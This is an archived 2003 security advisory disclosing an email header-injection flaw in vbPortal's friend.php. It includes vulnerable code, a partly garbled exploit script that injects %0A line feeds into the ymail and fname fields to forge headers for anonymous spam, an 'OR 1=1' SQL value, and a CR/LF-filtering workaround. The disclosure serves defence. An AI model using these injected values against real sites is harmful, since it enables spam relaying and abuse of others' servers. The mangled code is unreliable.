Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: CMS / Portals :: hack2914.htm

vbPortal Anonymous Mail Forwarding Vulnerabilities



[SCSA-021] Anonymous Mail Forwarding Vulnerabilities in vbPortal



======================================================================

Security Corporation Security Advisory [SCSA-021]



Anonymous Mail Forwarding Vulnerabilities in vbPortal

======================================================================



PROGRAM: vbPortal 

HOMEPAGE: http://www.vbportal.com 

VULNERABLE VERSIONS: 2.0 alpha 8.1 and Prior ?

RISK: Low

IMPACT: Allows Unauthorized Users to Send Mail Anonymously

RELEASE DATE: 2003-11-22





======================================================================

TABLE OF CONTENTS

======================================================================



1..........................................................DESCRIPTION

2..............................................................DETAILS

3.............................................................EXPLOITS

4............................................................SOLUTIONS

5...........................................................WORKAROUND

6..................................................DISCLOSURE TIMELINE

7..............................................................CREDITS

8...........................................................DISCLAIMER

9...........................................................REFERENCES

10............................................................FEEDBACK





1. DESCRIPTION

======================================================================



"vBPortal is a addon to the already popular message board software

called vB developed by www.vbulletin.com. vBPortal has came a 

long way, and the new version 3.0 has a lot of great features and

functions. Intergrating phpnuke's functions and abilities to easily

add modules and addons has added greater abilities. Simply it adds 

a frontpage, and utilizies vb's abilities and expands on that" 



(direct quote from http://www.vbportal.com)  



 

2. DETAILS

======================================================================



- Anonymous Mail Forwarding :



A vulnerability has been discovered in the friend.php file that

allows unauthorized users to send spam (junk mail) anonymously.



Vulnerable code :



\nX-Mailer: 

PHP/" . phpversion());

    $title = urlencode($title);

    $fname = urlencode($fname);

    Header("Location: friend.php?op=StorySent&title=$title&fname=$fname");

}

[...]

function SendSite($yname, $ymail, $fname, $fmail) {

    global $sitename, $slogan, $nukeurl;

    $subject = ""._INTSITE." $sitename";

    $message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname "._OURSITE." 

$sitename "._INTSENT."\n\n\n"._FSITENAME." $sitename\n$slogan\n"._FSITEURL." 

$nukeurl\n";

    mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer: 

PHP/" . phpversion());

    Header("Location: friend.php?op=SiteSent&fname=$fname");

}

[...]

switch($op) {

    case "SendStory":

    SendStory($sid, $yname, $ymail, $fname, $fmail);

    break;

[...]

    case "SendSite":

    SendSite($yname, $ymail, $fname, $fmail);

    break;

[...]



}

?>



Both functions SendStory () and SendSite () send emails. 

Two variables are (yname and ymail) modifiable in the headers.

An attacker can so inject what he wants, by using the character

LF (line feed), %0A in ASCII.





3. EXPLOITs

======================================================================



- Anonymous Mail Forwarding :



Here is an example of simple application that changes the mail via

variables ymail and fname.



We can here choose the sender, the name of the sender, the addressee,

the type of the message, the message and add a subject while having

the choice between both vulnerable functions.







URL :
>From :
Your Name :
To :
Content Type :
Subject To Add :
Op. :
SendSite
SendStory
Message :



"; echo "From: ".$from."
"; echo "Your Name: ".$yname."
"; echo "To: ".$fmail."
"; echo "Content Type: ".$contenttype."
"; echo "Added Subject: ".$newsubject."
"; echo "Message :

".str_replace("\n","
",$message); if ($op=="SendStory"){ $sid="1%20OR%201=1"; } $ymail=$from.">%0A"; $ymail.="Subject:".$newsubject."%0A"; $ymail.="Content-Type:multipart/mixed;%20boundary=Anonymous;"; $ymail.="%0A%0A%0A"; $fname="%0A--Anonymous%0A"; $fname.="Content-Type:".$contenttype."%0A%0A"; $fname.=str_replace("\n","%0A",$message); $fname.="%0A%0A%0A"; $fname.="--Anonymous--"; $fname.="%0A%0A%0A"; $url.="/friend.php?sid=".$sid."&op=".$op."&yname=".$yname."&ymail=".$ymail."&fmail=".$fmail."&fname=".$fname; echo "

Ok, Mail It"; } ?> Let us remind that the user chosen in the request of this exploit (the first registered) will receive too a copy of the mail, because an addressee was already defines. Ours will come to add later. 4. SOLUTIONS ====================================================================== You can found a patch at the following link : http://www.phpsecure.info Version 3.0b have been fixed 5. WORKAROUND ====================================================================== For Version 2.0 alpha 8.1 add simply the following line in friend.php file just before "switch($op) {" : ------SNIP------- if (eregi("\n",$yname) OR eregi("\n",$ymail) OR eregi("\r",$yname) OR eregi("\r",$ymail)){ die("Patched"); } ------SNIP------- 6. DISCLOSURE TIMELINE ====================================================================== 12/11/2003 Vulnerability discovered 12/11/2003 Vendor notified 12/11/2003 Vendor response 13/11/2003 Security Corporation clients notified 13/11/2003 Started e-mail discussions 21/11/2003 Last e-mail received 22/11/2003 Public disclosure 7. CREDITS ====================================================================== frog-m@n is credited with this discovery 8. DISLAIMER ====================================================================== The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. 9. REFERENCES ====================================================================== - Original Version: http://www.security-corporation.com/advisories-021.html - Version Franšaise: http://www.security-corporation.com/index.php?id=advisories&a=021-F R 10. FEEDBACK ====================================================================== Please send suggestions, updates, and comments to: Security Corporation http://www.security-corporation.com advisory@security-corporation.com


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH